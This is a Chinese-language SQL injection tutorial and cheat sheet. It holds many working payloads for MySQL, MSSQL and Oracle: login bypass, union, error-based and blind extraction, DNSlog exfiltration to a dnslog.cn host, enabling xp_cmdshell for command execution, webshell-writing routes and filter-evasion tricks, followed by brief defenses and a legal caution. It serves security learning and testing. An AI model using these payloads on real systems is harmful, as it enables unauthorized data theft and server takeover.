一、SQL注入基础
(一)概念与原理
- SQL注入是将SQL命令插入到Web表单递交或页面请求的查询字符串,欺骗服务器执行恶意SQL命令。
- 本质是把用户输入数据当作代码执行,原因是开发人员未对用户输入进行合法性判断,导致数据与代码未严格分离,改变了SQL命令语义并被数据库执行。
(二)危害
- 数据库信息泄漏,如用户隐私信息泄露。
- 网页篡改,通过操作数据库修改特定网页内容。
- 网站被挂马,传播恶意软件,修改数据库字段嵌入网马链接。
- 数据库被恶意操作,如管理员帐户被窜改。
- 服务器被远程控制,安装后门,修改或控制操作系统。
- 破坏硬盘数据,瘫痪全系统,某些数据库系统可通过SQL指令操作文件系统。
(三)注入流程
- 攻击者访问有SQL注入漏洞的网站,寻找注入点。
- 构造注入语句,与程序中的SQL语句结合生成新的SQL语句。
- 新的SQL语句被提交到数据库处理。
- 数据库执行新语句,引发SQL注入攻击。
(四)常见类型
- 按数据类型分类
- 数字型:如
id=1+and+1=1
,通过在数字参数中添加逻辑判断来检测注入点。 - 字符型:如
id=1'
(报错)、id=1'+and+'1'='1
(页面有返回),通过闭合单引号并添加逻辑判断来检测,需注意特殊字符的处理。
- 数字型:如
- 按返回结果分类
- 显错注入:利用
extractvalue
、updatexml
等函数使页面返回错误信息或直接显示注入结果,可通过构造特殊的XML相关函数参数来实现,如and (extractvalue(1,concat(0x7e,(select user()),0x7e)))=1
。 - 盲注
- 布尔盲注:页面仅返回True或False,根据页面返回情况判断数据库信息,如
and substr(database(),1,1)='s'
,通过逐位判断数据库名等信息。 - 时间盲注:界面返回值单一,通过加入特定时间函数(如
sleep
),根据页面返回时间差判断注入语句是否正确,如1'+and+sleep(5)--+
,可配合if
函数使用,如1'and+if(1=1,sleep(3),sleep(1))--+
。
- 布尔盲注:页面仅返回True或False,根据页面返回情况判断数据库信息,如
- 显错注入:利用
(五)检测方法
- 常见步骤
- 字符型:在参数后添加单引号及逻辑判断,观察页面是否报错或返回差异,如
id=1'
、id=1'+and+'1'='1
、id=1'+and+'1'='2
。 - 数字型:添加逻辑判断(如
and 1=1
、and 1=2
)或进行四则运算(如id=1/0
、id=1/1
),观察页面变化判断注入类型。
- 字符型:在参数后添加单引号及逻辑判断,观察页面是否报错或返回差异,如
- 判断依据:根据客户端返回结果判断提交的测试语句是否被数据库引擎执行,若执行则存在注入漏洞。
二、SQL注入利用方式
(一)绕过登录验证
使用万能密码,如' or 1=1--
,闭合原有查询语句构造恶意语句登录网站后台。
(二)获取敏感数据
- 通过注入获取数据库管理员帐号、密码等信息。
- 利用联合查询注入
union select user(),database()
获取用户名和数据库名。
(三)文件系统操作
- 在满足一定条件(如root权限、secure_file_priv为空等)下,可进行列目录、读取和写入文件等操作。
- 利用
load_file
函数读取文件,into outfile
函数写入文件。
(四)注册表操作
在特定数据库(如MSSQL)中,可执行注册表的读取、写入和删除操作。
(五)执行系统命令
在某些数据库(如MSSQL开启xp_cmdshell
后)可远程执行命令,如exec master..xp_cmdshell "ping teki6x.dnslog.cn"
。
三、数据库特性与注入方法
(一)MySQL
- 数据库构成与常见函数
- 初始化安装后有
information_schema
、mysql
、performance_schema
、sys
等系统数据库。 - 常见函数包括
system_user()
、user()
、database()
、version()
等,用于获取系统用户名、用户名、数据库名、数据库版本等信息;还有extractvalue
、updatexml
等报错函数,left
、mid
、substr
等截取函数,if
、case when
等判断函数,ascii
、length
等其他函数,用于数据获取和判断。
- 初始化安装后有
- 注入方法
- 联合查询注入
- 使用
UNION
操作符连接多个SELECT
语句,前提是列数相同。 - 通过
order by
判断列数,如id=1 +order+by+4--+
报错说明前一个select
语句有3列。 - 然后通过查询不存在的数据执行
union
语句获取显示位,如id=1 union select 1,2,3--+
。 - 最后利用显示位爆出敏感数据,如
id=' union select 1,user(),database()--+
。
- 使用
- 报错注入
- 利用
extractvalue
和updatexml
等函数,当参数不符合要求时页面会报错,从而获取数据库信息。 - 例如
and updatexml(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)='1
可获取表名,and ExtractValue(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))='1
可获取字段名。 - 但
updatexml
对输出字符长度和payload
返回类型有限制,extractvalue
输出字符也有长度限制(最长32位)。
- 利用
- 盲注注入
- 包括布尔盲注和时间盲注。
- 布尔盲注根据页面返回的True或False判断数据库信息,如通过
and substr(database(),1,1)='u'
判断数据库名首字母。 - 时间盲注通过加入
sleep
函数,根据页面返回时间差判断注入语句正确性,如1'+and+sleep(5)--+
,可配合if
函数使用,如1'and+if(1=1,sleep(3),sleep(1))--+
。
- UA注入/referer注入/dnslog外带
- UA注入利用网站记录用户UA信息的机制,通过修改UA头进行报错注入。
- referer注入利用网站记录访问来源的机制,修改referer进行报错注入。
- dnslog外带在无回显情况下,将dnslog平台特有字段
payload
带入目标,通过dns解析带出信息,需满足secure_file_priv
为空等条件,如id=1' and (select load_file(concat('\\\\',(select hex(user())),'.682y4b.dnslog.cn/abc'))) --+
可查询当前用户名(需对特殊字符进行编码)。
- Cookie注入
- 对
get
传递参数过滤但忽略cookie
时,可通过修改cookie
进行注入。 - 如登录后发现
cookie
中uname
参数可能用于数据库查询,添加单引号后页面报错,后续操作与其他注入类似。
- 对
- 宽字节注入
- 数据库使用
gbk
编码时,利用特殊字符组合(如%df%27
)可使单引号起作用,消除转义字符,从而进行注入,如id=%df%27union+select+1,user(),3
。
- 数据库使用
- 堆叠注入
- 通过多条
sql
语句一起执行,分号(;
)用于分隔语句。 - 与联合注入不同,堆叠注入可执行任意语句,如
id=';insert+into+users(id,username,password)values('100','xxxx','xxxx')--+
可插入数据。
- 通过多条
- 联合查询注入
(二)MSSQL
- 基础信息与函数
- 初始库有
master
(记录系统级信息)、model
(模板数据库)、msdb
(SQL Server代理数据库)、tempdb
(临时存储数据)。 - 函数包括
patindex
(返回模式第一次出现的起始位置)、replace
(替换字符串中子串)、replicate
(复制字符串)、stuff
(删除并插入子串)、upper
和lower
(转换字符大小写)、trim
和ltrim
(删除字符串空格)、charindex
(查找字符或字符串位置)等,可用于数据处理和判断。
- 初始库有
- 注入流程与操作
- 注入流程
- 先判断权限,如
and 1=(select IS_SRVROLEMEMBER('sysadmin'))
。 - 获取当前数据库,如
And 1=(select db_name())
。 - 获取数据库内的数据表,如
and 1=convert(int,(select quotename(name) from 数据库名..sysobjects where xtype='U' FOR XML PATH('')))
。 - 获取指定数据表的字段,如
and 1=(select quotename(name) from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))
。 - 取指定数据库内表数据内容,如
and 1=(select top 1 * from 指定数据库..指定表名 where排除条件 FOR XML PATH(''))
。
- 先判断权限,如
- 命令执行与写shell
- 可开启或关闭
xp_cmdshell
来执行命令,如;EXEC sp_configure'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
开启后可执行ping
判断外网连通性、写入一句话木马等操作。 - 写shell方式包括
sp_makewebtask
写文件、存储过程写文件、log
备份写文件、差异备份写文件等。
- 可开启或关闭
- 注入流程
(三)Oracle
- 报错注入与盲注
- 报错注入利用
dbms_utility.sqlid_to_sqlhash
等函数,如id=1 and dbms_utility.sqlid_to_sqlhash((select banner from sys.v_Sversion where rownum=1))='1
可获取数据库版本。 - 盲注注入使用
decode
等函数,如id='||decode(substrB(user,3,1),'D',0,1)||'
判断用户名长度。
- 报错注入利用
四、SQL注入防御措施
- 过滤sql相关特殊字符,防止恶意SQL命令构造。
- 参数化查询,将用户输入与SQL命令严格分离。
- 使用预编译的存储方式,提高数据库操作安全性。
五、实操要点
(一)判断注入点类型
- 对于数字型注入,可通过在参数后添加逻辑判断(如
and 1=1
、and 1=2
)或进行四则运算(如id=1/0
、id=1/1
),观察页面变化来判断。 - 对于字符型注入,在参数后添加单引号及逻辑判断,如
id=1'
、id=1'+and+'1'='1
、id=1'+and+'1'='2
,根据页面是否报错或返回差异来确定。
(二)利用注入漏洞获取信息
- 联合查询注入
- 先使用
order by
判断列数,如id=1 +order+by+[数字]--+
,逐步增加数字,直到页面报错,确定列数。 - 然后通过查询不存在的数据执行
union
语句获取显示位,如id=1 union select 1,2,3--+
,根据页面显示确定显示位。 - 最后利用显示位爆出敏感数据,如
id=' union select 1,user(),database()--+
,可获取用户名、数据库名等信息。
- 先使用
- 报错注入
- 利用
extractvalue
和updatexml
等函数构造注入语句,如and updatexml(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)='1
获取表名,and ExtractValue(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))='1
获取字段名。 - 注意
updatexml
对输出字符长度和payload
返回类型有限制,extractvalue
输出字符也有长度限制(最长32位),若获取数据长度超过限制,可使用concat
和limit
结合的方式逐步获取。
- 利用
- 盲注注入
- 布尔盲注通过构造逻辑判断语句,如
and substr(database(),1,1)='s'
,根据页面返回的True或False逐位判断数据库名等信息。 - 时间盲注利用
sleep
函数,如1'+and+sleep(5)--+
,通过观察页面返回时间差判断注入语句正确性,可配合if
函数使用,如1'and+if(1=1,sleep(3),sleep(1))--+
。
- 布尔盲注通过构造逻辑判断语句,如
(三)特殊情况处理
- 等号被过滤时,可使用
>
、<
、<>
等符号结合ascii
函数判断字符,如and ascii(substr(database(),1,1))>119
;也可采用like
、rlike
、regexp
、in
、between
等语句,如and database() like 't%'
、and database() rlike '^te'
、and database() regexp 'test.*'
、and database() in ('test')
、and substr(database(),1,1) BETWEEN 't' and 't'
。 substr
、mid
等函数被过滤时,可采用locate
、position
、instr
、lpad
、rpad
等函数替代,如and LOCATE('e',database())in('2')
、and position('t' in database())=1
、and instr(database(),'t')=1
、select lpad(user(),1, '')= 'r'
、select rpad(user(),1,'' )= 't'
。- 逗号被过滤时,可采用
%2C
替代,如id= -1' union select 1%2C2%2C3--+
;也可使用from xx for xx
的方式,如and substr(database()from 2 for 1)='e'
。 and/or
被过滤时,可使用&&
、||
或者like
结合判断函数替代,如&& substr(database(),1,1)='t'
、|| substr(database(),1,1)='t'
、like+if(substr(database(),1,1)='s',1,0)=1--+
。- 关键字被过滤时,可尝试大小写绕过(如
User()
、dAtaBASE()
、SelEct
等)、双重关键字绕过(如selselectect
、ununionion
、oorr
等,前提是只过滤一次)、注释符绕过(如//
、--
、/***/
、#
、--+
、-- -
、;
、%00
、--a
、/*!*/
)、编码绕过(如URLEncode编码、ASCII、HEX、unicode编码等)。
(四)其他注意事项
- 在进行注入测试时,要注意遵守法律法规,不要对未授权的网站进行测试,避免造成法律风险。
- 不同数据库的注入方法和函数有所不同,在实际操作中要根据目标数据库的类型选择合适的注入方式。
- 对于一些复杂的网站,可能存在多种过滤和防护机制,需要综合运用各种绕过技巧和方法,并且要有耐心和细心,不断尝试和分析。
- 在获取到数据库权限后,要谨慎操作,避免对目标系统造成不必要的损害,同时要注意保护获取到的敏感信息,防止信息泄露。